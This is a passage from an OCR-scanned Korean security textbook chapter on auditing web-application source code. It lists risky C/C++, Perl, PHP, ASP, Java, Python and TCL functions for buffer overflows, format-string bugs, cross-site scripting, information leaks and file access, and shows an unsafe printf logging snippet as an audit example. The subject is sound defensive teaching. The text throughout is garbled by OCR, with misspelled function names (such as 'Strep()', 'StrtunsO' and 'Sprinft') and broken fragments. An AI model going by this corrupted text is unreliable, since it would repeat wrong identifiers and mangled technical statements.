에 포함된다. 이 것은 모든 함수들이 응용프로그람을 실행할 때 리용될수 있다는것을 
의 미하며 탈취 는 공격 당하기 쉬 운 함수들의 입 구폭을 찾는 강력한 능력 을 가지 고 있 
다(사용자는 Java 나 ASP 와 비슷하게 받아 들인 꾸레미와 모둘에 기초한 자료들을 만 
들지 못한다). 

9. C / C ++ 심사 

C 는 최고급의 《가장 많히 쓰이는 ( Workhorse )》 언어이며 그로부터 보다 현대화된 
객체지향언어 C ++ 가 파생되였다 ( Microsoft 는 C 언어의 제3부류를 공개하였다. 야는 C ++ 
와 Java 의 혼합체이다). C 와 C ++ 는 많은 곳에서 아래준위체계접근을 실현하는 강력한 
언어이다. 그러나 C 와 C ++ 의 일부 부분에서 이 강력한 특성은 복잡성과 무자비성을 내 
보이고 있다. 사용자는 매개의 크기가 정확히 할당 또는 끝날 때 해방되였는가를 매우 
꼼꼼하게 확인해 야 한다. 여 기서 자동변수확장 또는 쓸모 없는 자료집합은 (gavbage 
collection ) 은 사용자의 작업을 어렵게 하고 있다. 

C / C ++ 는 잠재적으로 오유를 범할수도 있는 응용프로그람을 확장조종하기때문에 사 
용자가 변화를 철저히 검열하였는가를 증명할수 있다. 

(J)MM _ 

기술적으로 많은 C ++ 콜라스들은 자동적 인 변수확장과 쓸모 없는 자료집합을 

조종한다(많은 자료가 거기에 넣어 질 때 변수크기가 확장된다). 그러나 일부 클라 

스들은 정 확히 표준화되지 않고 속성 이 다양하게 변한다. c 에는 이와 같은 클라스들 

이 없다. 


10. ColdFusion 심사 

ColdFusion 은 Allaire 에 의 하여 개 발된 직 결식 HTML 매 몰스크립 트작성 언 어 이 다. 
이것은 JSP 의 ColdFusion 스크립트작성과 비숫하게 HTML 표쪽과 같이 보이므로 사용 
자는 친절한 HTML 표식 에 서 술할 때 안쪽에 련속으로 렬거해 야 할것 을 빠뜨리 지 않 
았는가를 잘 살펴 야 한다. ColdFusion 은 강력 한 자료기지중심언어 이 며 그것들의 핵 심 
적기능들은 자료기지 호출, 형 식 화된 기 록출구, 편리한 기 호렬관리 와 계 산을 기 본적 으 
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로 포괄하고 있 다. 그러 나 ColdFusion 은 여 러 가지 의 미 로서 확장할수 있 으므로 
(Java beans , 외부프로그람，객체 등) ColdFusion 스크립트가 리용할수 있는 외부기 
능들에 대한 표쪽을 항상 유지하여야 한다. 보다 구체적인 정보는 10장에 있는 
ColdFusion 에 서 설 명한다. 


제 3 절. 취약성찾기 


다음의 문제 령 역집 합과 구체적 인 방법들은 항목들을 찾을수 있게 한다. 모든 대 다수 
의 문제령역들을 단일원리에 기초하고 있다. 즉 사용자가 제공하는 자료와 호상작용하는 
함수를 리용하고 있다. 실제적으로는 매부분함수에서 찾아야 하는데 여기에는 많이 시간 
이 소모된다. 따라서 우리는 원격공격자들로 하여금 Web 응용프로그람을 갱신시킬수 있 
게 하는《고등위 험 (higher risk ) 》함수들에 대 한 번역된 목록을 가지 고 있다. 

공격자가 사용자처럼 위장할수 있기때문에 사용자가 영향을 미찰수 있는 코드령역을 
반드시 찾아 내 야 한다. 그리고 또한 자기 프로그람안에 프로그람실행에 영향을 주는 입 
구의 믿을수 없는 다른 원천을 고려해야 한다. 즉 외부자료기지，제3부류 입구, 기억된 
대 화자료 등 다른 불충분하게 코드화된 응용프로그람이 자료기 지안에 오염된 SQL 자료 
를 삽입할수 있다는것을 고려하여야 하며 사용자의 응용프로그람은 읽기가 힘들고 잠재 
적취약성이 있을수 있다는것을 알아야 한다. 

1. 사용자■부 a 자료얻기 

반대로 문제추적을 시 작하기전에 첫 단계 (가장 중요하다고 본다.)는 사용자의 자료 
를 받아 들이는 코드부분을 직접 확대축소시키는것 이 다. 사용자로부터 제공된 모든 자료 
집합은 최대한 하나의 장소에 집중될것이다. 반대로 비트들과 부분들은 응용프로그람처 
러시에 사용자로부터 넘겨 받을것이다. 하나의 부분(혹은 단일루린)안에 있는 모든 자료 
들은 2개의 중요한 함수에 봉사된다. 즉 이것은 사용자로부터 어떤 자료부분이 접수되였 
으며 프로그람이 어떤 변수들을 항목으로 넣었는가를 정확히 볼수 있게 한다. 또 이것은 
사용자가 비합법적인 값들에 대한 자료를 들여 보내는것을 집중적으로 려과할수 있게 한 
다.많은 언어들에서 모든 자료가 어떠한 려과형태 또는 옳바른 검사를 통하여 들어 왔는 
가를 보기 위하여 먼 저 검 사한다. 모든 자료입 력 이 중심 위 치 에 도착하면 즉시 려 과 또는 
검사가 진행된다. 

(玄^_ 

、八 p er l 은〈〈오염된것〉〉으로서 사용자 자료를 포함하는 모든 변수들(그리고 변수를 

러용하는 모든 지 령 ) 에 대 한 참조이다. 이 와 같이 변수들은 적 당한 려 과 또는 타당 

성 검 사를 통하여 실행할 때까지 오염된다. 이 절에서 는《오염된》항을 리 용할수 있 

다. Perl 은 실제적 으로 T - 지 령선절환에 의 하여 동작하는《오염》방식 을 관리 하고 있 

다. Perl 프로그람작성자는 이 편리성을 리용하여 보안속성을 구성할수 있다. 

거의 분렬된 응용프로그람을 려과하려고 하면 려과기구 (filtering Mechanism ) 의 
밖에 있는 사용자자료를 포함하고 있는 변수들을 더 변화시킬수 있다. 또 변수들이 사용 
자가 제 공한 자료를 포함하기 전에 프로그람에 의하여 사용자자료의 흐름을 단일화한다. 
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2. 완충기넘침의 찾기 


완충기넘침은 오늘의 인터네트에서 채용에 리용될수 있는 가장 불리한 점의 하나이 
다.완충기넘침은 특별한 연산 또는 함수들이 계산한 한계값보다 더 많은 자료가 변수안 
에 들어 가면서(이것은 실제적으로는 기억기를 차지한다.) 발생한다. 원인은 콤퓨터가 
그 위치에서 이미 있는 자료를 직접 찾고 있다는것을 모르고 그 기억기위치에 덧쓰기 하 
려고 하는데 있다. 보다 더 중요한 원인은 콤퓨터의 하드웨어구조 ( intel 이나 Space 에서) 
들이 함수가 돌려 주는 주소를 탄창에 (변수를 기 억시키기 위하여 기 억기에 배 치) 보관하 
려는데 있다. 따라서 완충기넘침이라는것은 이미 리용되고 있는 주소들에 덧쓴다는것을 
의미하며 또 콤퓨터는 이것을 알지 못하고 그 항목을 리용하려고 시도하고 있는것이다. 
만일 침입자가 어떤 값들을 돌려 진 위치에 덧쓰기할수 있는 정밀한 조종을 충분히 할수 
있는 능력을 가지고 있다면 그것들은 콤퓨터의 다음 연산들을 조종할수 있다. 

현재 참조할수 있는 완충기넘침의 2가지 요인은《탄창》과《더미》이다. 정적값기 
억 (함수안에서 정의된 값들)은 탄창에 참조되며 따라서 그것들은 실제적으로 기억기에 
있는 탄창에 기억된다. 《더미》자료는 C 언어의 malocO 함수에 의하여 실행시 동적으로 
할당되여 기억된다. 이 자료는 실제적으로 탄창에 기억되는것이 아니며 그 어디선가 림 
시적으로 얻어 진 《더미》에 속하여 있으면서 목적에 따라 자유를게 쓸수 있는 기억기 
로 리 용된다. 실제 적 으로 더미 완충기넘 침을 러 용하는것 이 더 좋은 부분이 다. 왜 냐하면 
(탄창에 관해서는)덧쓰기하려는 위치가 적당하지 못하기 때문이다. 

다행 히 도 완충기 넘 침 은 그것 들의 가변 기 억 크기 ( C 와 C ++ 와 같은) 가 미 리 서 술되 여 야 
하는 언어에서만 제기되는 문제이다. ASP.Perl Pyton 은 모두 동적으로 변수를 할당하 
며 언어해석을 진행하면서 자체로 변수크기를 조종한다. 이것은 오히 려 조종하기 쉽다. 
왜냐하면 그것이 지금 론의중에 있는 완충기넘침을 만들어 내기때문이다(언어는 만일 여 
기 에 너무나 많은 자료가 있으면 변수들의 크기를 증가 시 킬것 이 다). 그러 나 C 와 C ++ 는 
광범히 리용되고 있는 언어이기때문에 완충기넘침은 언제나 즉시 없애버리도록 제정되여 
있지 않다. 

,_ 

규칙적인 완중기넘짐에 대한 보다 많은 정보는 www . insecure . org / stf/smash 

stack.txt 에 서 복 사 하 시 오 . 더 미 완 충 기 넘 침 에 대 한 정 보 는 www . woowOO . org / files / 
articles / heaptnt . txt 에 서 탐색 을 진행 할 때 《Heap Buffer Overfolw Tntorial 》 에서 찾으 
시오. 


1) Str * 함수족 

S 切냐함수족 ( StrcpyO , StrcatO 등)은 가장 유연한것으로서 변수들의 길이에 관계 
없이 변수안에 자료를 복사한다. 표준적으로 이 함수는 원천(원시적인 자료)을 만들고 
그것을 목적지 (변수)에 복사한다. 

C / C ++ 에서 다음과 갈은 함수들의 리 용을 모두 검사하게 한다. 즉 

Strep (), StrcatO , StraadO , StrccpuO , Streadd , Strecpy (), StrtunsO . 
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만일 모든 원천자료가 사용자복종자료를 병합시켰다고 보면 그것을 완충기넘침이 일 
어 나게 하는데 리용할수 있다. 

만일 원천자료가 사용자복종자료를 포함하지 않으면 원천 ( Data ) 의 최대크기와 자료 
는 목적 하는 크기 (변수)보다 작다. 또 원천자료가 목적변수보다 크고 사용자가 그것들의 
갱신에 이것을 잠재적으로 리용할수 있다면 목적하는 원천자료의 적당한 근원을 추적해 
낼수 있을것이다(주어 진 임의의 자료를 완충기넘침을 일으키는데 리용한다). 

2) Strn * 함수족 

Str * 함수족에 대한 믿임직한 대상은 Strn * 함수족이다. 이것들은 사용자가 지적할수 
있도록 최 대 크기 (또는 함수이 름에 서 n 과 같은 번호)를 제 외 하고는 Str * 함수족과 곡 같 
다. 이 함수들은 원천(자료)，목적 대 상(변수) , 최 대 바이 트수를 지 적 하는데 리 용할수 있 
으며 목적대상의 변수크기보다 크지 말아야 한다. 많은 사람들은 이 함수들이 완충기넘 
침을 매우 힘들게 방지할수 있다고 생각한다. 그러나 완충기넘침은 지정된 최대수가 목 
적대상의 변수보다 크게 되면 일어 나게 된다. 

C 八 > H ■에서 StrncpyO 과 StrncatO 의 리용을 보자. 사용자는 지적된 최대크기가 목 
적대상의 크기보다 작거나 같은가를 검사하여야 한다. 다시 말하면 함수는 앞절에서 설 
명한 Str* 함수족과 비슷하게 잠재적넘 침을 일으키게 한다. 

_ 

y 표준적으로 최대한계를 지적할수 있게 하는 모든 함수들은 최대크기가 지정한 

것보다 크지 않는가를 검사하여 야 한다. 


3) * scanf 함수족 

* Scanf 함수족은 주어 진 형식의 기호렬에 의하여 정의된 여러 변수들을 추출하면서 
입구자료를《주사》한다. 이것은 프로그람이 기호렬을 자료토막으로 부터 추출하였다면 
잠재하고 있는 문제들로 읽어 내게 하며 크기가 그것들을 받아 들이는데 충분하지 못하 
면 변수들안에 추출한 기호렬을 넣으려고 시도한다. 

먼저 C 八:++가 다음과 같은 함수를 리용하고 있는가를 검 사 하여 야 한다. 즉 
*scanf (), sscanf () , fscanf () , vscanfO , vsscanf (), vfscanfO . 

(J)M^ _ 

、녀’ * Scanf 함수족은 최대 한계 를 선택 적 으로 실행할수 있다. 이것 은 기 호%의 형 식 

화기발사이에 있는 수로서 주어 진다. 이 제한기능은 * Scanf 함수족에서 찾는 제한과 
비슷하다. 


만일 이것들을 리용하였다면 공급된 형식의 기호렬이 문자관련변환들을 포함하였는 
가를 찾아 내는데서 매 함수의 리 용상태를 고찰할수 있다 ( s , c , [ token ] 에 의 하여 지적 
된다). 지정된 형식이 문자관련변환을 포함하면 목적대상의 지적된 변수들이 주사된 자 
료를 받아 들이는데서 크기가 충분한가를 검증할 필요가 있다. 
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4) 완충기넘침에 대한 다른 함수파괴기능 

완충기넘침은 다른 방법에 의해서도 발생하며 많은 경우 검출에 대단히 견고하다. 
다음의 목록은 취약성에 민감한 항목을 만드는 자료를 가진 변수 또는 기억기주소를 다 
른 방법으로 보급하는 일반 다른 함수를 포함한다. c 八>+가 포함하고 있는 일부 다양한 
함수들들을 아래에서 설명한다. 

• memcpyO , bcopyO , memccpyO , memmoveO 는 Strn * 함수족과 비슷하다(최 
대값으로써 제한된 목적하는 기억기/변수들에 원천자료를 복사/이동한다). Strn * 
족과 비 슷하게 지 적 된 최 대 값이 할당되 고 있는 변수/기 억 기 보다 큰가를 결정 하는 
데 리용할수 있겠는가를 평가할수 있다. 

• Sprinft (0, Snprinft (0, vsprinft () , vsnprinftO , Swprinft (), vswprinftO 는 
마지막 본문기호렬에 다중값들을 넣을수 있게 한다. 여러가지 크기들의 합이 해 
당한 변수의 최대크기를 초과하는가를 결정할수 있다(주어 진 형식으로서 지정된 
다). SnprinftO 와 vsnprinftO 에서 최대크기는 해당한 변수의 크기보다 클수 
없다. 

• get () 와 fgetsO 는 여러 파일서술자로부터 자료를 기호렬로 읽어 들인다. 이 두 
함수는 이미 할당된 목적대상의 변수들보다 더 많은 자료를 읽어 낼수 있다. 
fgetsO 함수는 지적된 최대한계를 요구하므로 fgetsO 한계가 목적대상의 변수크 
기보다 크지 않는가를 검사하여 야 한다. 

• 순환고리에서 리용된 getcO , fgetcO , getcharO , readO 함수들은 만일 순환 
이 목적대상의 변수가 최대크기를 달성한후에 자료를 읽 어 내는것을 정확히 중지 
시키지 못하면 지나친 자료에 대한 잠재적읽기변화를 가지게 된다. 이 함수를 리 
용하여 코드가 얼마만한 시간동안 순환하는가를 결정하게 하는 전체 순환계수를 
조종하는데 리용된 론리를 분석할수 있다. 

3. 사용자에게 준 출력검사 

많은 응용프로그람들은 하나 또는 여러 자리에서 사용자에게 일부 짧은 자료를 현시 
할수 있다. 사용자는 자료의 인쇄는 기초적 인 보안조작이라고 생각할수 있으나 결코 그 
런것은 아니다. 실제적인 취약성은 어떻게 자료가 인쇄되였으며 어떤 자료가 인쇄되였는 
가를 가지고 존재 하는것 이 다. 

1) 형식기호릴의 취약성 

형식기호렬 (Format String ) 의 취 약성들은 최근에 발생 한 새로운 현상이 다. 이 러한 
취약성콜라스는 * prinft 함수족으로부터 생겨 난다 ( prinftO , fprinftO , 등). 이 함수콜 
라스는 제공된 변수들을 기호렬형식으로 변환시킬수 있는《형식 ( format )》 을 지정할수 
있게 한다. 
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ᄊ 기술적으로 이 절에서 서술된 함수는 완충기넘침공격이지만 표준출구들로 리용 

되는 printfO 와 vprintfO 함수들을 일반적으로 악용함으로써 이러한 종류의 항목들을 
클라스화한다. 


이 취약성들은 공격자가 형식기호렬의 값을 지정하게 할 때 생겨 난다. 때때로 이것 
은 프로그람작성자를 건달로 만든다. 동적기호렬값을 알맞게 인쇄하는 방법은 다음과 같 
다. 


Printf (" % S ” , user _ string _ data ) : 

그러 나 게으른 프로그람작성자는 다음과 같이 간략한다. 

Printf ( user _ string _ data ) : 

비록 이것이 실제로 동작한다 해도 중요한 문제가 제기된다. 즉 함수는 작성된 기호 
렬안에서 형식화된 지령에 따른다. 사용자는 함수가 형식화 또는 변환이라고 믿는 자료 
를 공급해 주며 이 구조를 통하여 형식화 또는 변환지령이 어떻게 해석되는가에 따라 완 
충기 넘 침 을 일 으킬수 있 다(여 기 서 는 완충기 넘 침 을 일 으키 는 실제 적 인 채 용을 약간 취 급 
하고 후에 더 취급한다). 

_ 

사용자는 Tim Newsham 에 의 하여 작성된 분석 에서 형 식적기 호렬취 약성 
(Format String Volnerabilities ) 에 대한 보다 많은 정보를 찾을수 있다. 이것은 
www . net - security , org / text / avtieles / string . shtml 에 서 즉시 찾을수 있다. 


형식적기호렬 오유는 외관상 C 八：++에 국한되여 있다. 다른 언어는 *prinft 함수를 
가지지 만 이 과정 에 대 한 그들의 조종은 항목의 채 용과 배 치되게 할수 있다. 례하면 
Perl 은 공격하기 쉽지 않다(이것은 PerH 어떻게 실제적으로 변수기억을 조종하는가에 
관계 없 다) . 따라서 C 八>+코드에 서 잠재 적취 약성 들을 찾으러 면 다음의 함수들을 조사해 
볼 필요가 있다. 

Printf () , fprintfO , sprintfO , snprintfO , vprintfO , vfprintf (), vsprintfO , 
wsprintfO , wprin 吐 f () 

여기서 렬거된 임의의 함수를 리용하여 사용자가 제공한 자료를 포함하는 기호렬형 
식을 가지고 있는가를 결정할수 있다. 원래 형식적기호렬은 정적이지만(이미 믿음직한 
코드화기 호렬 이 다. ) 이 와 같은 기 호렬은 프로그람적 으로 발생 하여 호상조종되 여 (이 것은 
사용자가 간섭하지 않는다. ) 안전할것 이 다. 

Home-grown 등록루린(체계등록，오유수정，오유 등)들은 이러한 측면에서 죄인으 
로 되기 쉽다. 이것들은 때때 로 함수호출을 통하여 뒤방향추적을 요구하는 실제적으로 
공격당하기 쉬운 길을 숨겨 준다. C 에서 루린등록은 다음과 같이 한다. 


void log_error (char * error ) { 
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char message [1024] : 

snprintf (message , 1024, “ Error : % s ” , error ) : 
fprintf ( LOG _ FILE , message ); 


여 기서 우리는 형 식적기 호렬로서 통보변수를 만드는 fprintf 0를 사용하고 있다. 
이 변수들은 정적 기호렬 《 Error : 》로 구성되여 있으며 오유통보를 함수에 넘긴다 
( snprintf 의 적 당한 리 용이 통보변수안에 들어 가는 자료의 모선은 제 한되 고 있 다. 비 
록 이것들이 호상작용하는 함수라고 하더라도 잠재적문제들을 반대하여 실제적으로 잘 
보호해 줄것이다). 

이 것 이 문제 로 되 는가? 우의 log _ error () 함수의 여 러 가지 리 용에 의 존할것 이 다. 그 
러 므로 사용자는 뒤 에 가서 파라메터 로 제 공되는 자료를 평 가하는 log _ error () 의 매 발 
생을 고찰할것이다. 

2) 교차싸이트스크립트작성 

교차싸이트스크립트작성 ( Cross-site Scripting : CSS ) 는 공격자들이 사용자를 기만 
하려고 하기때문에 실제적인 관심사로 되고 있다 . CSS 는 원칙적으로 Web 응용프로그람 
이 사용자의 자료를 받아 그것을 려과하지 않고 사용자에게 도로 내보내여 인쇄하게 한 
다. 이것은 공격 자가 매몰된 교차방향의 스크립트작성지 령 을 가진 URL 을 전송할수 있는 
가능성을 주고 있다.즉 만일 사용자가 트로이목마적인 URL 에 걸리면 자료는 Web 응용 
프로그람에 넘 겨 질것 이다. 만일 Web 응용프로그람이 공격당하기 쉬 운 취 약성 이 있으면 
그것은 자료를 말단에 도로 넘겨 줄것이며 따라서 말단은 스크립트작성코드가 적 이 라고 
폭로할것이다. 문제는 Web 응용프로그람이 사용자가 보안을 잘 해놓는 지대에 있을수 
있 다는 사실 때 문에 복잡해 졌 으며 따라서 적 의 스크립 트작성코드는 표준 Web 파도 
( surfing ) 시 에 표준적 으로 조작된 일반보안에 국한되지 않는다. 이것을 피 하기 위 해서 
응용프로그람은 Web 응용프로그람 열람기에 내보내기로 된 출구안에 그것을 삽입하기전 
에 사용자가 공급한 자료를 정확히 려과하거 나 다른 방법으로 재부호화하여야 한다.그러 
므로 표준적출구흐름은 대체로 다음과 갈다.사용자가 하는 일은 어느 함수가 일반 종류 
의 HTML 랄뢰함수에 의하여 통과되 지 않는 자료를 오염 시 켜 인쇄 출구하는가를 결정하 
는것 이 다. 

HTML 랄뢰 특권을 찾아 낸 모든 HTML 요소를 잘 지우거나 여 러 가지 HTML 특수문 
자들을 부호화할수 있다 (실제적으로 “<” 과 “>” 문자들은 각각 “& lt ” 와 “& gt ” 
과 함께 재배치된다) . 

따라서 결과는 정확한 HTML 로서 해석되지 않는다. CSS 취약성들에 대한 조사는 힘 
들다.제 일 시 작하기 좋은것은 사용자가 사용하는 언어 에 의하여 리 용된 일 반출구함수를 
가지고 하는것이다. 

• C / C ++ 는 printfO , fprintf 0출구스크립트들을 호출한다. 

• ASP 는< %= variable %> 문법을 리 용하여 직접 변수들을 출력시 킬수 있는 사용자 
변수들을 포함하는 Response . Write 와 Response . BinaryWrite 를 호출한다. 

• Perl 은 사용자공급자료를 유지 하는 변수들을 포함하는 print , printif , syswrite , 
write 를 호출한다. 
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• PHP 는 사용자공급자료를 유지 할수 있게 하는 변수들을 포함하는 print , printif , 
echo 를 호출한다. 

• TCL 는 사용자공급자료를 유지할수 있게 하는 변수들을 포함하는 puts 를 호줄 
한다. 

모든 언어들에서 원래의 사용자자료를 거꾸로 추적할 필요가 있으며 HTML 의 
and 八) r 스크립트작성언어의 임의의 려과를 통하여 자료가 주어 졌는가를 결정하여 야 한 
다. 만일 그것 이 없 다면 공격 자는 다른 사용자를 반대하는 CSS 공격 을 위한 Web 응용프 
로그람을 리용할것이다. 

3) 정보로출 

정보로출은 본질적으로 기술적문제는 아니다.그것은 사용자의 응용프로그람을 갱신 
시키는것을 도와 줄수 있는 풍부한 지식을 가진 공격자를 제공할것을 요구할수 있다. 

그러므로 응용프로그람이 할수 있는 모든 정보를 정확히 심사하는것이 중요하다.우 
의 모든 언어들에서 일반적으로 생겨 나는 일들은 다음과 같은것을 포함한다. 

• 완전현시로서 기밀정보인쇄(통과암호，신용카드)대부분의 응용프로그람들은 신용 
카드번호를 완전히 넘 겨 주지 않는다. 오히 려 그것들은 마지 막 4 개 혹은 5개 수 
자만을 보여 준다.통과암호는 애매하게 만들어 의뢰 기 가 사용자의 말단에서 실제 
적 인 열쇠암호를 얻 을수 없게 한다. 

• 응용프로그람구성 정 보，봉사기 구성 정보，환경변수 등을 현시하는것 은 침 입 자가 
사용자의 보안규격을 뒤집어 엎는것을 도와 줄수 있다.구체적인것을 생 략하면 공 
격 자가 틀리게 추론하게 하거 나 지적한 취 약성을 읽게 할수 있다. 

• 오유통보에서 지 나친 정보를 알아 내 야 한다. 이것은 특별히 오유가 많은 부분이 
다.실패한 자료기지련결은 일반적으로 자료기지의 주콤퓨터주소，자세한 인증, 
목표대상의 표를 내 버린다. 실패한 질문(전체 SQL 질문까지도 다 포함)들은 마당 
이 름과 자료형，표의 배 치 정 보를 로출시킨다. 실패한 파일은 파일 경 로 (가상 또는 
실지) 를 폭로하여 공격자가 응용프로그람의 배치를 알아 낼수 있게 한다. 

• 응용프로그람제 품에 있는 공동오유수정프로그람의 리 용을 피 한다. 공동이라는것 은 
임의의 오유수정프로그람정 보가 아마 사용자에 게서 제공될것 이 라는것 을 의미한 
다.응용프로그람봉사기 에 등록하려 는 오유수정프로그람의 정 보작성 은 허 용되 지 
않 는다. 

그러나 이것은 사용자에게 보여 줄수 있는 정보라는것은 아니다.정보로출의 실제적방법 
은 모든 언어에서 차이나기때문에 여기에는 정확한 함수나 기대하는 코드토막은 없다. 


172 






4. 파일제계접근과 호상작용의 검사 


Web 는 도형관련 파일공유규약에 기초하고 있다.사용자정의 파일에 대한 열기와 읽 
기는 Web 실행을 구성 하는 핵심부이 다.그러므로 Web 응용프로그람이 파일체계와 솜씨 
있게 호상작용하는 기초를 허물지 않는다.사실상 사용자는 Web 응용프로그람이 어디 
서，언제，어떻게 봉사기 에 있는 파일체 계를 접수할수 있는가를 확정할수 있다. 

언어에 의존하는 파일체계함수는 파일이름이나 파일서술자우에서 조작될수 있다. 파 
일서 술자는 프로그람에 의하여 리 용할수 있는 파일 이 름을 준비 하는 초기함수의 결과를 
가진 구체적인 값이다. 그것을 열고 파일서술자를 돌려 줌으로써 그때마다 조종자로 참 
조된다). 다행히도 사용자는 파일서술자를 가진 매 호상작용과 관계하지는 않는다. 대신 
파라메 터 로서 파일 이 름을 만드는 함수에 기 본주의 를 돌려야 한다. 특히 오염 된 자료를 포 
함하는 부분에 주의를 돌릴것 이다. 

_ 

XT 파일체계와 관련된 많은 문제들은 림시파일들, Symlink 공격자，경쟁조건, 파 

일허가 등을 취급하는데 이 문제의 폭은 대 단히 넓다. 특히 많이 리용할수 있는 언 
어 들을 고려할 때 그것 은 더 크다. 그러 나 이 모든 문제 들은 Web 응용프로그람을 안 
고 있는 정적인 체계에 제한되여 있다. 여기서는 제정된 Web 응용프로그람봉사기를 
리용하여 가장 좋은 수법을 명령하기때문에 문제의 범위에 초점을 두지 않는다. 


파라메터 로서 파일 이 름을 가지 는 구체 적 인 함수는 다음의 것 을 포함한다. 

♦ C 八>+에서 모든 파일체 계의 정의목록을 번역하는 C 八>+는 외부서고들과 리용하 
는 함수들의 량에 따라 임무를 확정한다. 그러므로 시작하려면 다음의 함수들에 
대 한 호출을 조사하여 야 한다. 

openO, fopenO, creatO, knodO, catopenO, dbm_open(), opendirO, 
unlink (), linkQ, chmodO, stat(), IstatO, mkdirO, readlinkO, name (), 
rmdirO, symlink Cl * chdirO, chrootO, utimeO, truncate 0, globO. 

♦ ASP 는 Scripting. FileSystemObject 객체를 창조하는 Server. CreateObject 0 를 
호출한다. 파일체계 에 대 한 접근은 Scripting. FileSystemObject 의 리 용을 통하 
여 조종된다. 따라서 만일 응용프로그람이 이 객체를 리용하지 않는다면 파일체 
계취 약성 에 대 한 걱정 을 하지 않아도 된다. MapPath 함수는 파일체 계 접근과 함께 
련결하는데 표준적으로 리용되며 따라서 ASP 페지가 어떤 경우에도 일반준위에서 
파일체계의 호상작용에 좋은 지적 자로서 봉사하게 한다. 

• IlSSample. ContentRotator 객체의 ChooseContent 메쏘드를 리 용한다. 
(Server. CreateObject 0 에 대 한 조사는 IlSSample. ContentRotator 를 위 하 
여 호출된다). 

♦ Perl 은 다음의 함수를 호출한다. 
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chmod , chown , link , lstat , mkdir , readlink , rename , rmdir , stat , 
symlink , truncate , unlink , utime , chdir , chroot , dbmopen , open , 
sysopen , opendir , glob . 

• IO ：：* * 와 File ::* 의 리용을 조사한다. 

이 매개 모둘들은 파일체계와 호상작용하는 방법을 제기하며 그것을 엄밀히 
준수한다. (사용자는 IO ::* 와 File ::* 의 앞붙이에 대한 람색을 통하여 모둘 
함수들의 리 용을 탐색할수 있 다) . 


影 

받아 


설명 


1 기술적으로 이것은 Perl 와 Rython 에 있는 사용자의 이름구역에 모둘함수를 

들이 게 한다. 이것은 module ::( perl 에 서 )과 module . ( Rython 에서 ) 앞붙이 를 
반드시 리 용하지 않을수도 있다는것을 의미 한다. 


- PHP 는 다음의 함수를 호줄한다. 

opendirO , chdirO , dir (), chgrpO , chmodO , chownO , copy0 , file (), 
fopenO , get _ meta_tags (), link (), mkdir (), readfile (), rename (), rmdir (), 
symlinkO , unlink 0， gzfileO , gzopenO , readgzfile (), fdf _ add _ template (), 
fdf_open (), fdf_save (). 

• PHP 의 fopen 무엇을 가지 고 있는가를 기 억하게 하는데서 흥미 있는 문제는 
fopen URL Wrapper 로 서 참 조 하 는 것 이 다 . 이 것 은 pen ( http :// 
www . neoliapsis.com / “ , “ r ) 과 같은 지령을 러용하는것으로서 다른 싸이 
트와 련결된 파일을 열게 한다. 

이것은 공격자가 다른 봉사기에 포함된 파일을 여는데서 사용자의 응용프로 
그람을 우롱할수 있기때문에 문제가 생긴다. 

- Py 比 ion 는 함수를 열기 위하여 호출된다. 

• 만일 OS 모둘을 받아 들이면 사용자는 다음의 함수들을 조사해 야 한다. 
os . chdir , os . chmod , os . chown , os . link , os . listdir , os . mkdir , 
os . mkfifo , os . remove , os . rename , os . rmdir , os . symlink , os . unlink , 
os . utime . 


- Java 는 응용프로그람이 아래에 있는 임의의 꾸레미들을 받아 들이면 그것을 검 
사한다. 

Java . io *, Java . u 吐 l . zip *, Java . util . Jar 
만일 검사가 옳으면 응용프로그람은 파일과 호상작용하는 꾸레미 에 포함된 어느 
한 파일흐름을 러용하게 할수 있다. 그러나 모든 파일은 Java . io 에 포함된 파일 
콜라스에 의존하고 있다. 그러므로 사용자는 실제로 새로운 파일클라스의 참조를 
조사만 하면 된다 (File variable=new File …) . 

• 파일콜라스는 자체로 검사에 필요한 모든 메쏘드를 가지고 있다. 

Mkdir , renameTo 

- TCL 은 file * 지령들의 모든 리용을 검사한다(이것은 두 단어 file Operation 으 
토서 표현할수 있으며 여기에서 조작은 rename 과 같은 지정한 파일조작일것이 
다). 

• glob 와 open 함수를 리 용한다. 
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- JSP 는 <% a include file =' file name ’ %>문을 리용한다. 마지막 파일추가는 번 
역시에 우연히 지정되며 이것은 파일이름이 사용자자료에 의하 여 변경될수 없다 
는것을 의미한다. 어떤 파일의 표쪽은 사용자의 응용프로그람이 놓여 있는 곳에 
포함된다. 

• JSP :: forword 와 JSP : : include 표쪽을 리 용한다. 련속처 리 의 다른 파일 또는 
페 지 들을 다 적재하여 동적 파일 이 름을 할당한다. 

- SSI 는 <!_ include file 표쪽의 리용이 다. 

(또는 <!_#include virtuil =’”’_> 

- ColdFusion 은 CFFile 과 CFInclude 표쪽의 리용이다. 

5. 외부프로그람과 a 드실행을 검사 

대체로 모든 론리 및 기능적인것들은 사용자의 응용프로그람과 프로그람작성언어의 
핵심부함수안에 포함되여 있다. 그러나 그것들은 매번 모둘코드방향으로 유도되며 사용 
자의 프로그람은 그것과 련결되지 않는 다른 프로그람과 함수들이 그것들을 리용할수 있 
게 한다. 이것은 반드시 나쁜것은 아니기때문에 프로그람작성자는 회전을 확정적으로 회 
복시 키 려고 하지 않는다(처 리 안에 서 잠재 적 보안문제 들을 해설). 그러나 사용자의 프로그 
탐이 외부응용프로그람과 어떻게 호상작용하는가 하는것은 해결하여야 할 문제이며 특히 
호상작용은 사용자가 어느 정도로 제공하기때문에 중요하다. 

1) 외부프로그람호출 

외부프로그람에 대 한 모든 호출은 무엇 이 그것을 호출하였는가를 정확히 결정 할수 
있게 되여야 한다. 만일 오염된 사용자자료가 호출에 포함된다면 이것은 공격자로 하여 
금 추가적인 지령을 실행하거나 필요한 지령을 변화시키는것으로 지령처리를 못쓰게 할 
수 있다(아마 약간의 메타문자 ( metacharacter ) 로 포함시키거나 추가적인 지령선파라메 
터를 추가하는것일것이다). 이것은 Web CGI 스크립트처럼 보이는 이미 낡은 문제이다. 

즉 첫 CGI 스크립 트는 그것 들이 작업할수 있게 하는 외 부 UNIX 파라메터 를 호출하 
였고 파라메터 로서 거기 에 사용자제공자료를 통과시 킨다. 이것은 공격 자가 처 리 에서 다 
른 UNIX 프로그람들을 실 행 할수 있는 파라메터 를 솜씨 있게 다룰수 있는 능력 을 가지 기 
전에는 실현할수 없다. 

조사에 의하여 제기되는 문제는 다음과 같다. 

• C / C ++ exec * 함수족 ( execO , execvO , execveO ) 을 조종한다. 

• Perl 은 system , exec , ” ( backticks ) , qx //, < >( 대 역 함수) 

• Open 호출은 이미 알고 있는 《 magic 》 열기를 지원하며 외부프로그람이 파일 
